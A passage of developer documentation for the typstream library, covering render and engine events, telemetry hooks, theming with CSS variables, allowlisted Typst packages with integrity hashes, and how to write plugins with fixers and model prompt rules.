| `onStatusChange` | `(status, state)` | The document's status changed. |

`onRendered` gets the report of the compile that made the artifact, plus what drawing it cost:

### RenderedEvent

The renderer showed an artifact: the report of the compile that made it,
and what drawing it cost. What `onRendered` hooks receive.

| Prop            | Type                     | Description                                                                                                                     |
| --------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
| `type`          | `"rendered"`             | Discriminant: the renderer showed an artifact.                                                                                  |
| `renderMs`      | `number`                 | Main-thread time handing the artifact to the renderer, ms (paged: offscreen pages draw later).                                  |
| `blocks?`       | `number \| undefined`    | HTML: top-level blocks shown.                                                                                                   |
| `uri`           | `string`                 | The document's URI, which tells documents apart in `Engine.onEvent`.                                                            |
| `rev`           | `number`                 | Revision compiled. Revisions count the worker's copies of the document, not the input's chunks.                                 |
| `target`        | `CompileTarget`          | The target compiled to.                                                                                                         |
| `mode`          | `CompileMode`            | `final` once the input is complete (`finish()`).                                                                                |
| `timings`       | `CompileTimings`         | The worker's timings (`totalMs`: request to response).                                                                          |
| `compileMs`     | `number`                 | Typst's compilation, summed over fixer rounds and fallback compiles (`timings.compileMs`, 0 when absent).                       |
| `healMs`        | `number`                 | Main-thread time healing the input since the previous compile, ms: every push and edit that led to the compiled source, summed. |
| `patches`       | `number`                 | Heal patches (lint fixes, tail repair, output handlers) in the compiled source.                                                 |
| `patchReasons`  | `Record<string, number>` | The same patches counted by their reason (`"close:]"`, `"lint:email-at"`, …).                                                   |
| `fixersApplied` | `AppliedFix[]`           | Errors Layer 3's fixers fixed to make the output, in the order fixed (PLAN §5.5).                                               |
| `fallbackLevel` | `FallbackLevel`          | See FallbackLevel.                                                                                                              |
| `errors`        | `number`                 | Errors and warnings of the compile, in the document.                                                                            |
| `warnings`      | `number`                 | Warnings of the compile, counted as `errors` is.                                                                                |
| `pages?`        | `number \| undefined`    | Paged: the document's page count, when the compile published pages.                                                             |
| `sourceLength`  | `number`                 | Length of the compiled source (UTF-16), for latency by document size.                                                           |

For the paged target, `pages` is the page count of the artifact shown. Pages that are offscreen draw later, so `renderMs` covers handing the artifact over, not drawing every page.

Without React, pass the same options to `mountTypstream`:

```ts
import { mountTypstream } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const view = mountTypstream(document.getElementById("answer")!, {
  engine,
  source: "= Hello",
  onRendered: (e) => console.info(`compile ${e.compileMs} ms, render ${e.renderMs} ms, ${e.blocks} blocks`),
  onFallback: (e) => console.warn(`fallback level ${e.level}`),
  onStatusChange: (status) => console.info(status),
});
```

### Hooks on a provider

Unlike other settings, a provider's hooks don't give way to a component's. When both a `<TypstreamProvider>` and a `<Typstream>` below it have `onRendered` (or `onFallback`, `onWatchdog`, `onDiagnostics`), both are called, the outer one first. Nested providers work the same way. So you can wire analytics once at the top and still add a hook to one component.

`onStatusChange` is per document: it goes on `<Typstream>` or `mountTypstream`, not on the provider.

## Engine events

If you use `@typstream/engine` directly, listen on a document or on the engine:

```ts
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });

engine.onEvent((event) => {
  switch (event.type) {
    case "document":
      // Every document's events: event.event is a DocumentEvent.
      if (event.event.type === "compiled") console.info(event.event.uri, event.event.compileMs);
      break;
    case "log":
      console[event.level === "error" ? "error" : "info"](`[engine] ${event.message}`);
      break;
    case "failed":
      console.error("the engine can't run", event.error);
      break;
  }
});

const doc = engine.open();
const stop = doc.onEvent((event) => {
  if (event.type === "fallback") console.warn(event.level, event.diagnostics);
});
```

Both `onEvent` calls return a function that removes the listener. Besides `document`, the engine reports what its workers did:

| `type` | Fields | When |
|---|---|---|
| `ready` | `info` | A worker finished starting (the first one, and every replacement). `info.serverInfo.typstVersion` is `0.15.1`. |
| `watchdog` | `uri`, `rev`, `budgetMs` | A compile or export ran past its budget; the worker was terminated. |
| `crash` | `error` | A worker failed outside the protocol. |
| `disconnect` | `error` | The connection to a [remote engine](/docs/guides/remote-engine) dropped; a new one opens. |
| `recycle` | `memoryBytes` | A worker was replaced because it used too much memory (256 MiB by default). |
| `log` | `level`, `message` | A log message from the worker, such as a plugin's fixer module that failed to load. |
| `failed` | `error` | The engine can't run; every document is in `error`. |
| `document` | `event` | An event of one of the engine's documents. |

## Sending events to your analytics

This is the pattern from the [Next.js and AI SDK example](/docs/getting-started/nextjs-ai-sdk): hooks on the provider batch events and post them to an endpoint of your app once a second, and when the page is hidden.

```tsx title="app/telemetry.tsx"
"use client";

import type { ReactNode } from "react";
import { type FallbackEvent, type RenderedEvent, TypstreamProvider, type WatchdogEvent } from "typstream";

type Event = RenderedEvent | FallbackEvent | WatchdogEvent;

let batch: object[] = [];
let timer: ReturnType<typeof setTimeout> | undefined;

const flush = () => {
  clearTimeout(timer);
  if (batch.length === 0) return;
  const body = JSON.stringify(batch);
  batch = [];
  // sendBeacon survives the page closing; fetch is the fallback where it's missing.
  if (!navigator.sendBeacon?.("/api/telemetry", body)) void fetch("/api/telemetry", { method: "POST", body });
};

if (typeof window !== "undefined") {
  addEventListener("pagehide", flush);
  addEventListener("visibilitychange", () => document.visibilityState === "hidden" && flush());
}

const send = (event: Event) => {
  if (event.type === "fallback") {
    // Lengths, not text: the input and source are your users' documents.
    const { input, source, diagnostics, ...rest } = event;
    batch.push({ ...rest, inputLength: input.length, errors: diagnostics.map((d) => d.message) });
  } else batch.push(event);
  clearTimeout(timer);
  timer = setTimeout(flush, 1000);
};

export const Telemetry = ({ children }: { children: ReactNode }) => (
  <TypstreamProvider
    onRendered={send}
    onFallback={(e) => {
      // While streaming, a lasting error falls back once per revision: you may want only the first of a run.
      if (e.consecutive === 1 || e.mode === "final") send(e);
    }}
    onWatchdog={send}
  >
    {children}
  </TypstreamProvider>
);
```

And the endpoint, which here only prints a line per event:

```ts title="app/api/telemetry/route.ts"
export async function POST(req: Request) {
  const events = (await req.json()) as { type: string; uri: string; rev: number; mode: string }[];
  for (const e of events) console.log(`[telemetry] ${e.type} ${e.uri} rev ${e.rev} (${e.mode})`);
  return new Response(null, { status: 204 });
}
```

<Callout type="warn" title="Documents are your users' data">
  A `fallback` event holds the document's input and healed source. Collecting them needs your users' consent. Without it, send lengths and error messages, as above.
</Callout>

## What is worth collecting

- **Latency by document size**: `compileMs`, `healMs` and `renderMs` against `sourceLength`. `onRendered` fires for every compile while streaming; `mode === "final"` picks the finished document's.
- **Heal patches by reason** (`patchReasons`): Markdown habits and other mistakes the model makes often. They are candidates for your prompt.
- **Fixer hits by error** (`fixersApplied`): compile errors that needed a fix to render. Telling the model not to write them improves the output.
- **Fallback levels**: how often readers saw less than the whole document, and which errors caused it.
- **Watchdog stops**: documents too complex for live preview, by `reason` and `sourceLength`.


# Theming and styling

> Light and dark themes, the CSS variables and classes typstream exposes, extra stylesheets, and the word fade-in and caret while streaming.

Source: https://typstream.vercel.app/docs/guides/theming

typstream's HTML output follows your app's look: its colors are CSS variables, every built-in rule has zero
specificity so yours win, and dark mode works without extra code. The paged target shows pages as paper, and you
style the frame around them. This page covers both, and the streaming effects: words fading in and a caret.

## Light, dark or automatic

The `theme` prop sets the HTML target's colors:

| `theme` | Colors |
|---|---|
| `"auto"` (default) | Follow the page's `color-scheme`. |
| `"light"` | Always light. |
| `"dark"` | Always dark. |

```tsx
<Typstream source={text} theme="dark" />
```

`"auto"` uses CSS `light-dark()`, which follows the `color-scheme` of the element. Most pages never set one, and then
it's light. To follow the reader's system setting, declare both on your page:

```css
:root {
  color-scheme: light dark;
}
```

If your app has its own dark mode toggle, set `color-scheme: dark` while it's on, and typstream follows.

`theme` applies to the HTML target and to standalone HTML exports (which default to light, since files get printed).
The paged target draws pages as white paper in either theme.

## CSS variables

The theme sets these on the renderer's root element (`.typstream`):

| Variable | Default (light, dark) | Used for |
|---|---|---|
| `--typstream-foreground` | `#1c1c1e`, `#e8e8ea` | Text. |
| `--typstream-muted` | `#5c5c63`, `#a4a4ab` | Figure captions, and secondary text in plugins' styles (edu's subject line). |
| `--typstream-link` | `#1d4ed8`, `#8ab4ff` | Links. |
| `--typstream-highlight` | `#fff2a8`, `#6b5b00` | The background of `#highlight[…]`. |
| `--typstream-caret-color` | `currentColor` | The streaming caret. |
| `--typstream-caret` | `"▋"` | The caret's character (CSS `content`). |

Plugins add their own. `@typstream/edu`'s stylesheet defines `--edu-ink` (answers in the teacher's copy), `--edu-rule`
and `--edu-faint` (lines and borders), and a color per callout kind: `--edu-note`, `--edu-tip`, `--edu-warning`,
`--edu-definition`, `--edu-example` and `--edu-remember`.

Override them on the root element. Use `light-dark()` to keep both modes:

```css title="app.css"
.answer .typstream {
  --typstream-foreground: light-dark(#0f172a, #e2e8f0);
  --typstream-link: light-dark(#7c3aed, #c4b5fd);
  --typstream-highlight: light-dark(#fde68a, #78350f);
  --edu-ink: light-dark(#be123c, #fda4af);
  font-family: "Inter", sans-serif;
}
```

```tsx
<Typstream source={text} className="answer" />
```

Set them on `.typstream` itself, not on an ancestor: the theme declares them on that element, so a value inherited
from further up would be overridden.

## Classes and structure

**HTML target.** `<Typstream>` renders a `div.typstream-host` (with your `className`, `style` and `id`), and inside it
the renderer's root:

| Selector | What it is |
|---|---|
| `.typstream` | The root. Typst's HTML goes inside it. It carries the document's `lang` and `dir`, and clips what the document draws to its box ([Security](/docs/guides/security#html-target)). |
| `.typstream[data-typstream-theme]` | Set to `light` or `dark` when `theme` forces one. |
| `[data-typstream-animate]` | A word fading in. |
| `.typstream-pages` | The root as the renderer lays the document out on pages: its sheets (`.typstream-paged > .typstream-page`, as the paged view's), the document over them (`.typstream-flow`), headers and footers (`.typstream-marginals`). Pages are white with black text, as on the paged view, in either theme. |
| `.typstream-caret` | The caret, drawn by its `::after`. |

Inside the root is Typst's own HTML: `h1`–`h6`, `p`, `ul`, `table`, `figure`, `math` and so on, which you can style
like any content. `@typstream/html-compat` and `@typstream/edu` add elements of their own with `ts-` and `edu-`
class names. Other classes a document writes are dropped, so your page's own classes never apply to it; a plugin
that writes classes for your CSS lists them in its `sanitize` facet (`allowClasses`).

**Paged target.**

| Selector | What it is |
|---|---|
| `.typstream-paged` | The column of pages, with `data-layout`: `"fit-width"` and `"reflow"` fill the width (reflow without gaps between pages). |
| `.typstream-page` | One page, with `data-page` (1-based). White, sized from the page. |
| `.typstream-text-layer` | Transparent, selectable text over a page. |
| `.typstream-links` | A canvas page's links, over its text layer. |

A page is a `<canvas>` (or, for SVG pages, an SVG in its own shadow root), so your CSS doesn't reach what it draws. Style the frame instead:

```css
.answer .typstream-paged {
  gap: 24px;
}
.answer .typstream-page {
  box-shadow: 0 1px 3px rgb(0 0 0 / 0.15), 0 8px 24px rgb(0 0 0 / 0.08);
}
```

## Your rules win

Every rule of the HTML renderer, `@typstream/html-compat` and `@typstream/edu` is scoped to the root and wrapped in
`:where()`:

```css
:where(.typstream) a {
  color: var(--typstream-link);
}
```

`:where()` has zero specificity, so any selector of yours beats it, whatever the order of the stylesheets, with no
`!important`. A plain `.answer a { … }` is enough. The paged target's few rules (`.typstream-page`,
`.typstream-paged`) are single-class selectors: override them with one more class, as above.

## Extra stylesheets

The `stylesheets` prop adds CSS for the HTML target:

```tsx
const css = `
:where(.typstream) h1 {
  letter-spacing: -0.02em;
}
:where(.typstream) table {
  font-variant-numeric: tabular-nums;
}
`;

<Typstream source={text} stylesheets={[css]} />;
```

Stylesheets apply in this order: the renderer's own, then each plugin's `stylesheets` (in plugin order, dependencies
first), then yours. Each is added once per document (or per shadow root, if the renderer is inside one), however many
`<Typstream>`s use it.

Use `stylesheets` rather than your global CSS for rules that should travel with the document: they are also written
into [standalone HTML exports](/docs/guides/exports#html), where `<body>` is the `.typstream` root. Scope them to
`.typstream` as above, so they match in both places and stay out of the rest of your page. Rules for your app's
chrome around the preview belong in your own CSS.

Stylesheets are added as constructed stylesheets (`adoptedStyleSheets`) where the browser supports them, which a
Content-Security-Policy without `style-src 'unsafe-inline'` allows. The paged renderer does the same, and Typst's
inline styles are applied through the CSSOM, so typstream needs no `'unsafe-inline'` for styles. See
[Security](/docs/guides/security) for the whole policy.

With `@typstream/dom`'s `createHtmlRenderer`, `injectStyles: false` turns the injection off, for apps that ship the
CSS themselves: the renderer's is exported as `htmlRendererCss`, and plugins carry theirs in `stylesheets`.

## Word fade-in and the caret

While a document streams in the HTML target, new words can fade in, and a caret can blink after the last one:

```tsx
<Typstream source={text} isStreaming={isStreaming} animated caret />
```

Only words that are new are animated. Blocks the stream didn't change are left alone, and a block that changed keeps
the words already on screen. When the stream runs ahead, the delay between words shrinks so the animation never falls
far behind the text.

`animated` takes `true` for the defaults, or options:

```tsx
<Typstream source={text} isStreaming={isStreaming} animated={{ animation: "blurIn", duration: 200, stagger: 30 }} />
```

### AnimateOptions

Word fade-in settings.

| Prop            | Type                                                              | Description                                                                                                                                                                                                 |
| --------------- | ----------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `animation?`    | `"blurIn" \| "fadeIn" \| "slideUp" \| (string & {}) \| undefined` | Keyframes: `fadeIn` (default), `blurIn`, `slideUp`, or your own `@keyframes`, whose name must be `typstream-` followed by this value: `"pop"` plays `@keyframes typstream-pop` (add it with `stylesheets`). |
| `duration?`     | `number \| undefined`                                             | Per word, in ms. Default 150.                                                                                                                                                                               |
| `easing?`       | `string \| undefined`                                             | CSS easing. Default `ease`.                                                                                                                                                                                 |
| `stagger?`      | `number \| undefined`                                             | Delay between consecutive words, in ms. Default 40.                                                                                                                                                         |
| `sep?`          | `"char" \| "word" \| undefined`                                   | Animate by `word` (default; CJK characters count as words) or by `char`.                                                                                                                                    |
| `maxBacklogMs?` | `number \| undefined`                                             | How far ahead of wall-clock words may be scheduled, in ms; a fast stream compresses its stagger to fit, down to 4 ms per word. Default 320.                                                                 |

Your own keyframes need a `typstream-` prefix: `animation: "pop"` plays `@keyframes typstream-pop`, which you add
with `stylesheets`. Keyframes named just `pop` aren't used:

```tsx
const pop = `@keyframes typstream-pop {
  from {
    opacity: 0;
    transform: scale(0.96);
  }
}`;

<Typstream source={text} isStreaming={isStreaming} animated={{ animation: "pop" }} stylesheets={[pop]} />;
```

The caret is a character drawn after the last text. Change it with `--typstream-caret` and its color with
`--typstream-caret-color`:

```css
.answer .typstream {
  --typstream-caret: "_";
  --typstream-caret-color: var(--brand);
}
```

Both effects respect `prefers-reduced-motion`: words appear without animating and the caret stops blinking. Both
are off once the document is finished, and neither applies to the paged target.

## Dark mode and the document's own colors

Typst documents can set fills: a highlighted box, a shaded table cell, a code block. The author chose those fills for
dark text, as on paper. So in the dark theme, anything the document filled keeps the light theme's text color inside
it, and stays readable. Labels that `@typstream/html-compat` places outside a shape (a dimension under a drawing) sit
on the page, not on the fill, so they follow the theme.

The paged target shows the document as printed, and doesn't change with the theme: pages are white with the colors
the document set.


# Typst packages

> Let documents import Typst Universe packages such as CeTZ from an allowlist, add your own, and mount local packages.

Source: https://typstream.vercel.app/docs/guides/typst-packages

Typst documents extend themselves with packages: `#import "@preview/cetz:0.5.3"` brings in CeTZ for drawings. In
typstream a document can import a package only if it is on an **allowlist**. The engine downloads an allowed package
the first time a document imports it, checks it against its hash, and keeps it for later. Nothing else is ever
fetched.

```typst
#import "@preview/cetz:0.5.3"

#cetz.canvas({
  import cetz.draw: *
  circle((0, 0), radius: 1.5)
  line((0, 0), (1.5, 0), stroke: blue)
  content((0.75, 0.3), [$r$])
  line((3, -1.5), (6, -1.5), (4.5, 1.5), close: true, fill: yellow.lighten(60%))
  content((4.5, -1.9), [base])
})
```

## The default set

`@typstream/universe` vendors a set of [Typst Universe](https://typst.app/universe) packages for diagrams, math and
chemistry, as the unmodified tarballs packages.typst.org serves:

| For | Package | Import |
|---|---|---|
| Diagrams | `@preview/cetz:0.5.3` | `#import "@preview/cetz:0.5.3"` |
| Diagrams | `@preview/fletcher:0.5.8` | `#import "@preview/fletcher:0.5.8": diagram, node, edge` |
| Math | `@preview/cetz-plot:0.1.4` | `#import "@preview/cetz-plot:0.1.4": plot` |
| Math | `@preview/physica:0.9.8` | `#import "@preview/physica:0.9.8": *` |
| Math | `@preview/unify:0.8.1` | `#import "@preview/unify:0.8.1": num, qty, unit` |
| Chemistry | `@preview/chemformula:0.1.3` | `#import "@preview/chemformula:0.1.3": ch` |
| Chemistry | `@preview/alchemist:0.2.0` | `#import "@preview/alchemist:0.2.0": *` |

Their dependencies come too, at the versions those packages pin: cetz 0.5.2 and 0.3.4, and oxifmt 1.0.0 and 0.2.1.

`typstream`'s `<Typstream>` adds this set by default. Turn it off with `packages={false}`:

```tsx
import { Typstream } from "typstream";

<Typstream source={text} packages={false} />;
```

With `@typstream/react`, `@typstream/dom` or `@typstream/engine` directly, add the `universe` plugin yourself:

```tsx
import { Typstream } from "@typstream/react";
import { universe } from "@typstream/universe";

<Typstream source={text} plugins={[universe]} />;
```

The plugin also carries prompt rules that list these imports, with a one-line usage for each. Include it in
[`buildSystemPrompt`](/docs/guides/prompting) so the model imports what the engine allows, at the right versions.

In the HTML target, CeTZ canvases become inline SVG with [`@typstream/html-compat`](/docs/reference/html-compat).
fletcher diagrams are empty in HTML for now and render in the paged target.

## How loading works

Before each compile, the engine scans the document (and its preamble) for package specs in string literals, such as
`"@preview/cetz:0.5.3"`. A spec still being streamed (`"@preview/cet`) doesn't match, so nothing is requested early.
For each spec it finds:

1. **Allowed?** If the package isn't on the allowlist, it is never requested. The compile fails with
   `package @preview/x:1.0.0 is not allowed`, with a hint listing the packages that are.
2. **Which version?** Models write the versions they saw in training (`cetz:0.2.2`). A request for another version
   of an allowed package gets the nearest allowed one: the same `major.minor` if there is one, else the newest
   allowed version. The document gets a warning on the import: `package @preview/cetz:0.2.2 isn't available here; using @preview/cetz:0.5.3`.
3. **Fetch.** The tarball comes from the allowlist entry's `url`. The universe packages' URLs point at files your
   bundler emits next to your app's JavaScript, so they load from your own origin. A fetched tarball is kept in
   Cache Storage (`typstream-packages`), so it downloads once per browser.
4. **Check.** The archive must match the entry's `integrity` hash before it is used.
5. **Mount.** The package is unpacked into the document's files. Its own imports are scanned the same way, and must
   be allowed too.

The compile waits for packages, but only briefly: about one second while streaming, three seconds for a final
compile or an export. If a package arrives later, the document compiles again on its own. Until then the import fails
with `package … is still loading`; a download that failed reports `package … failed to load (reason)` and is retried
after ten seconds.

### While a package loads

A failed import would fail the whole document. So while streaming, the engine's `package-stub` fixer replaces an
import it can't satisfy (not allowed, still loading, failed) with placeholders. `#import "@preview/x:1.0.0": a, b`
binds `a` and `b` to a stand-in that shows the package's name where it is called, and the rest of the document
renders. A wildcard import (`: *`), or a module whose fields are used (`cetz.draw`), can't be stood in for, and the
error stays. A finished document shows the placeholders too, and reports the error.

### An import below its first use

Models sometimes write a package's import below the code that uses it: a helper on CeTZ above
`#import "@preview/cetz:0.5.3"`, or `#unit(…)` in a template's arguments above unify's import. A Typst function only
sees what exists where it is defined, so the name is unknown wherever it's called. The `hoist-import` fixer moves
such an import to the document's start, and the document renders; a finished document still reports the error,
because its source doesn't compile as written. Tell the model to put package imports first, before the template line.

## Add your own package

An allowlist entry is a `PackageSpec`:

| Field | Type | Meaning |
|---|---|---|
| `namespace` | `string` | `"preview"` for Typst Universe packages. |
| `name` | `string` | The package's name. |
| `version` | `string` | `major.minor.patch`. |
| `url` | `string` | Where to fetch the `.tar.gz`, as packages.typst.org serves it. |
| `integrity` | `string` | A subresource-integrity hash (`sha256-…`, `sha384-…` or `sha512-…`). |

<Callout type="warn" title="Beta">
  `PackageSpec`, the plugin facet `engine.packages`, `createEngine`'s `initialize` and the document option
  `packages` are `@beta`: their shape may change before 1.0.
</Callout>

Download the tarball into your source tree, next to the module that will list it:

```bash
curl -o src/typst/my-package-1.0.0.tar.gz https://packages.typst.org/preview/my-package-1.0.0.tar.gz
```

Then compute its integrity. Hash the **uncompressed tar**, not the `.tar.gz`: servers often send `.gz` files with
`Content-Encoding: gzip`, and the browser then hands the engine the tar. A hash of the tar holds however the archive
travelled. (The engine accepts a hash of either.)

```js title="integrity.mjs"
import { createHash } from "node:crypto";
import { readFileSync } from "node:fs";
import { gunzipSync } from "node:zlib";

const tar = gunzipSync(readFileSync(process.argv[2]));
console.log(`sha256-${createHash("sha256").update(tar).digest("base64")}`);
```

```bash
node integrity.mjs src/typst/my-package-1.0.0.tar.gz
```

Put the entry in a plugin, with a prompt rule so the model knows it may import it:

```tsx title="src/typst/packages.ts"
import { definePlugin } from "@typstream/core";

export const myPackages = definePlugin({
  key: "acme/packages",
  engine: {
    packages: [
      {
        namespace: "preview",
        name: "my-package",
        version: "1.0.0",
        // A literal `new URL(…, import.meta.url)`: bundlers emit the file as an asset.
        url: new URL("./my-package-1.0.0.tar.gz", import.meta.url).href,
        integrity: "sha256-…",
      },
    ],
  },
  prompt: { rules: ['`#import "@preview/my-package:1.0.0": *` for …'] },
});
```

```tsx
<Typstream source={text} plugins={[myPackages]} />
```

This is how `@typstream/universe` lists its tarballs, so they load from your own origin. If you serve the file some
other way, give an absolute URL: the engine fetches from its worker, which resolves a relative URL against the worker
script's location, not your page's. If the package imports other packages, add entries for those too.

### Engine-wide or per document

The allowlist is the union of two lists:

- **Engine-wide**: `createEngine({ initialize: { packages } })`, or the `engine.packages` of plugins passed to
  `createEngine({ plugins })`. Every document on the engine may import these.
- **Per document**: the `engine.packages` of the plugins a document is opened with (the `plugins` prop, or
  `engine.open({ plugins })`), and `engine.open({ packages })`. Only that document may import these.

```ts
import { createEngine, engineWorker, UNIVERSE_PACKAGES } from "typstream";

const engine = createEngine({
  spawn: engineWorker(),
  initialize: { packages: [...UNIVERSE_PACKAGES] },
});
```

A downloaded package is shared by every document of the engine either way, so it is fetched once.

A server facing untrusted clients ignores the lists clients send, since any client could otherwise make it fetch
any URL. `@typstream/node`'s protocol server does; see [Remote engine](/docs/guides/remote-engine).

## Local packages

A package doesn't have to be downloaded. Files whose keys start with a package spec, `@namespace/name:x.y.z/` followed
by a path, form a package rooted there, and `#import "@namespace/name:x.y.z"` reads it: its `typst.toml`, then its
entry point. A local package needs no allowlist entry, since nothing is fetched.

```tsx
import { definePlugin } from "@typstream/core";

const school = definePlugin({
  key: "acme/school",
  engine: {
    files: {
      "@acme/school:1.0.0/typst.toml": '[package]\nname = "school"\nversion = "1.0.0"\nentrypoint = "lib.typ"\n',
      "@acme/school:1.0.0/lib.typ": "#let motto = [Learn, then teach.]\n",
    },
  },
});
```

```typst
#import "@acme/school:1.0.0": motto

#motto
```

This is how `@typstream/edu` ships: its files are mounted under `@typstream/edu:0.1.0/…`. The same keys work in the
`files` of a document (`engine.open({ files })`, the `files` prop) and of `@typstream/node`'s `render` and `validate`.
`@typstream/node` fetches no packages, so on the server you mount the packages a document imports this way.

## Licenses

Each vendored tarball carries its package's own license, unmodified. cetz and cetz-plot are LGPL-3.0-or-later;
fletcher, physica, unify, chemformula and alchemist are MIT; oxifmt 1.0.0 is MIT OR Apache-2.0 and 0.2.1 is MIT-0.
The tarballs are served to your users' browsers, so check that these terms suit your app. An app that can't ship
LGPL code can leave out the universe plugin (`packages={false}`) and pass its own allowlist.


# Writing a plugin

> Package your own Typst functions, styles, prompt rules and compile fixes as a typstream plugin, and load it in React, the DOM renderer or the engine.

Source: https://typstream.vercel.app/docs/guides/writing-a-plugin

A plugin is one plain object with a `key` and any of a set of optional **facets**. Each typstream package reads the facets it understands and ignores the rest, so a plugin written for the renderer keeps working when new packages (the editor) add facets of their own. `@typstream/html-compat`, `@typstream/universe` and `@typstream/edu` are plugins; so are a school's branded templates or a chemistry pack.

```ts
import { definePlugin } from "@typstream/core";

export const chemistry = definePlugin({
  key: "acme/chemistry", // unique; namespace third-party keys
  version: "1.0.0",
  dependencies: ["edu"], // keys of plugins that must load too, before this one
  engine: {
    files: { "@acme/chemistry:1.0.0/lib.typ": LIB, "@acme/chemistry:1.0.0/typst.toml": TOML },
    preamble: '#import "@acme/chemistry:1.0.0": *',
  },
  stylesheets: [CSS],
});
```

`definePlugin` only type-checks the literal; a plugin needs no runtime from typstream. For the concepts behind plugins, see [Plugins](/docs/concepts/plugins).

## Using plugins

```tsx
// React: on a provider (every document below it) or on one <Typstream>.
<TypstreamProvider plugins={[edu, chemistry]}>…</TypstreamProvider>

// Without a framework.
mountTypstream(element, { engine, source, plugins: [edu, chemistry] });

// The engine alone (Node, a custom renderer).
const doc = engine.open({ plugins: [edu, chemistry] });
```

`typstream`'s `<Typstream>` adds `htmlCompat` and `universe` before the plugins you give it (turn them off with `htmlCompat={false}` and `packages={false}`).

## Build a plugin step by step

The example below is a small chemistry pack: one Typst function, `#reaction`, that shows an equation with the conditions it needs. It works in both render targets, is styled for the HTML target, tells the model how to use it, and comes with a fixer for a common mistake.

<Files>
  <Folder name="acme-chemistry" defaultOpen>
    <Folder name="typst" defaultOpen>
      <File name="typst.toml" />
      <File name="lib.typ" />
    </Folder>
    <Folder name="scripts" defaultOpen>
      <File name="embed.mjs" />
    </Folder>
    <Folder name="css" defaultOpen>
      <File name="chemistry.css" />
    </Folder>
    <Folder name="src" defaultOpen>
      <File name="index.ts" />
      <File name="fixers.js" />
      <File name="assets.generated.ts" />
    </Folder>
  </Folder>
</Files>

<Steps>
<Step>

### Write the Typst side as a local package

A `typst.toml` and an entry point make the files a Typst package. Documents import it by name, and the same files work with the native CLI (`typst compile --package-path`), so you can test them outside typstream.

```toml title="typst/typst.toml"
[package]
name = "chemistry"
version = "1.0.0"
entrypoint = "lib.typ"
compiler = "0.15.1"
```

```typst title="typst/lib.typ"
/// A labelled reaction: the equation, with what it needs after it.
///
/// - conditions (content, none): What the reaction needs, e.g. heat.
#let reaction(conditions: none, body) = context {
  if target() == "html" {
    html.elem("div", attrs: (class: "acme-reaction"), {
      body
      if conditions != none { html.elem("span", attrs: (class: "acme-conditions"), conditions) }
    })
  } else {
    block(inset: 6pt, stroke: 0.5pt + gray, radius: 3pt, {
      body
      if conditions != none { h(1em); text(size: 0.85em, fill: gray)[(#conditions)] }
    })
  }
}
```

`context target()` tells the HTML target from the paged one, so each gets output that suits it: semantic HTML with classes your stylesheet styles, and Typst layout for pages and PDF.

</Step>
<Step>

### Style the HTML

Scope rules to the renderer's root (`.typstream`) and wrap them in `:where()`, so their specificity is zero and an app's own rules win without `!important`. Use the theme's custom properties so dark mode works.

```css title="css/chemistry.css"
:where(.typstream .acme-reaction) {
  display: flex;
  align-items: baseline;
  gap: 1em;
  margin-block: 0.8em;
  padding: 0.4em 0.8em;
  border: 1px solid var(--typstream-muted);
  border-radius: 4px;
}
:where(.typstream .acme-conditions) {
  color: var(--typstream-muted);
  font-size: 0.85em;
}
```

</Step>
<Step>

### Embed the files

The engine mounts files you give it as strings or bytes, and the renderer takes CSS as strings. Any build step that turns the files into a module works; this script needs nothing but Node:

```js title="scripts/embed.mjs"
// Writes src/assets.generated.ts from typst/ and css/. Run it after every change to them.
import { readdirSync, readFileSync, writeFileSync } from "node:fs";

const files = Object.fromEntries(readdirSync("typst").map((name) => [name, readFileSync(`typst/${name}`, "utf8")]));
const css = readFileSync("css/chemistry.css", "utf8");
writeFileSync(
  "src/assets.generated.ts",
  `export const FILES: Record<string, string> = ${JSON.stringify(files, null, 2)};\n` +
    `export const CSS: string = ${JSON.stringify(css)};\n`,
);
```

With Vite you can import them directly instead (`import LIB from "../typst/lib.typ?raw"`).

</Step>
<Step>

### Write a fixer module (optional)

Fixers run in the engine worker after a compile fails, and turn an error into edits that make it go away. Because the worker can't receive functions, a plugin ships them as an ES module your app serves, referenced by URL. This one writes an unknown `#name` as the plain word, so a misspelt function doesn't break the rest of the document:

```js title="src/fixers.js"
// Default export: a fixer or an array of them.
export default {
  name: "acme/unknown-as-text", // `#foo` with no `foo` defined: write the word
  match: /^unknown variable: (\w+)$/,
  fix: (d, ctx) => (d.span ? [{ from: d.span.from - 1, to: d.span.to, insert: ctx.text.slice(d.span.from, d.span.to) }] : null),
};
```

</Step>
<Step>

### Define the plugin

```ts title="src/index.ts"
import { definePlugin } from "@typstream/core";
import { CSS, FILES } from "./assets.generated";

const ROOT = "@acme/chemistry:1.0.0";

export const chemistry = definePlugin({
  key: "acme/chemistry",
  version: "1.0.0",
  engine: {
    // `@ns/name:x.y.z/path` keys make a local Typst package: importable by name, nothing downloaded.
    files: Object.fromEntries(Object.entries(FILES).map(([name, text]) => [`${ROOT}/${name}`, text])),
    preamble: `#import "${ROOT}": *`,
    fixerModules: [new URL("./fixers.js", import.meta.url).href],
  },
  // The renderer drops classes nobody listed, so the page's own can't style a document.
  sanitize: { allowClasses: ["acme-*"] },
  stylesheets: [CSS],
  prompt: {
    catalogue: [
      {
        name: "reaction",
        signature: "reaction(conditions: content, body: content) -> content",
        description: "A chemical reaction, with what it needs (heat, a catalyst) after it.",
        example: "#reaction(conditions: [heat])[$2 H_2 + O_2 -> 2 H_2 O$]",
      },
    ],
    rules: ["Write every chemical reaction with `#reaction`; never draw the arrow and conditions by hand."],
  },
});
```

Ship `fixers.js` next to the built `index.js` (copy it into `dist/`): the `new URL(…, import.meta.url)` resolves next to the module, and the app's bundler emits the file as an asset.

The `prompt` facet describes your Typst API to the model. `buildSystemPrompt(plugins)` from `@typstream/edu` (beta) turns plugins' prompt facets into a system prompt; see [Prompting](/docs/guides/prompting).

</Step>
<Step>

### Use it

```tsx
import { Typstream } from "typstream";
import { chemistry } from "@acme/chemistry";

<Typstream source={text} isStreaming={streaming} plugins={[chemistry]} />;
```

The model can now write `#reaction(conditions: [heat])[$2 H_2 + O_2 -> 2 H_2 O$]` with no import of its own: the plugin's preamble imports the package before every document.

</Step>
</Steps>

## Facets

| Facet | Read by | What it does |
|---|---|---|
